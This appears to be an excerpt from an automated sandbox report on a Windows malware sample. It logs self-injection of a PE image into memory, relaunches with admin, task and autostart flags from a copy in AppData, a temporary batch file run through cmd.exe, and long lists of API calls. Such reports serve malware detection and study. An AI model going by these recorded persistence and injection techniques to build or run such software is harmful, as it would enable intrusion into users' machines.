Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Memory written: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Memory written: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Memory written: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Memory written: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Memory written: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 3_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

3_2_00419F90

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe"	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe --Task
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\33f77c43.bat" "

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_022F80F6 cpuid

0_2_022F80F6

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: GetLocaleInfoA,	0_2_0041E9A0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _putc,__wrename,GetBinaryTypeW,GetConsoleAliasExesA,BuildCommDCBAndTimeoutsW,GetNumberFormatA,GetBinaryTypeW,GetConsoleAliasExesA,BuildCommDCBAndTimeoutsW,GetNumberFormatA,WriteConsoleOutputCharacterA,FindNextVolumeMountPointA,FillConsoleOutputCharacterW,GetNamedPipeHandleStateA,SetProcessShutdownParameters,GetConsoleAliasesLengthW,GetFileSizeEx,OpenFileMappingW,OpenWaitableTimerW,CharUpperW,OpenMutexA,WriteProfileStringA,CharUpperW,GetLastError,OpenMutexA,WriteProfileStringA,EnumSystemLocalesA,GetSystemTimeAdjustment,MoveFileWithProgressW,GetCommState,EnumSystemLocalesA,GetSystemTimeAdjustment,DebugBreak,MoveFileWithProgressW,GetCommState,CreateMailslotW,WriteConsoleInputA,GetConsoleAliasExesLengthA,SetComputerNameA,GlobalGetAtomNameW,AllocConsole,CreateIoCompletionPort,GetConsoleCP,FreeEnvironmentStringsA,LockFile,SetProcessPriorityBoost,SetProcessPriorityBoost,ConvertFiberToThread,QueryDepthSList,DeleteCriticalSection,FreeEnvironmentStringsA,ConvertFiberToThread,QueryDepthSList,DeleteCriticalSection,GetThreadContext,OpenMutexW,GetThreadContext,OpenMutexW,WriteConsoleW,DebugBreak,LoadLibraryA,lstrlenA,EnumResourceTypesW,FlushConsoleInputBuffer,SetThreadAffinityMask,SetEvent,OutputDebugStringW,ReadConsoleInputW,GetPrivateProfileIntW,CreateActCtxA,GetPrivateProfileStringW,GetOEMCP,CopyFileA,InterlockedExchangeAdd,WaitForDebugEvent,SetConsoleScreenBufferSize,GetConsoleAliasExesLengthA,	0_2_004096F5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_02310AB6
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_022FC8B7
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_0230394D
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_023049EA
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_02303F87
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	3_2_0043404A
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	3_2_00438178
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_00440116
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_004382A2
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	3_2_0043834F
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	3_2_00438423
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: EnumSystemLocalesW,	3_2_004387C8
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: GetLocaleInfoW,	3_2_0043884E
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	3_2_00432B6D
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	3_2_00432FAD
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_004335E7
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	3_2_00437BB3
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: EnumSystemLocalesW,	3_2_00437E27
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	3_2_00437E83
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	3_2_00437F00
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	3_2_0042BF17
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	3_2_00437F83
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_02330AB6
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	5_2_0231C8B7
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	5_2_0232394D
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	5_2_023249EA
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	5_2_02323F87
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	9_2_0043404A
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	9_2_00438178
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	9_2_00440116
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_004382A2
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	9_2_0043834F
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	9_2_00438423
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	9_2_004335E7
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: EnumSystemLocalesW,	9_2_004387C8
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: GetLocaleInfoW,	9_2_0043884E
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	9_2_00432B6D
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	9_2_00437BB3
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: EnumSystemLocalesW,	9_2_00437E27
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	9_2_00437E83
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	9_2_00437F00
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	9_2_0042BF17
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	9_2_00437F83
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	9_2_00432FAD

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

0_2_004096F5

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

3_2_00419F90

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 3_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

3_2_0042FE47

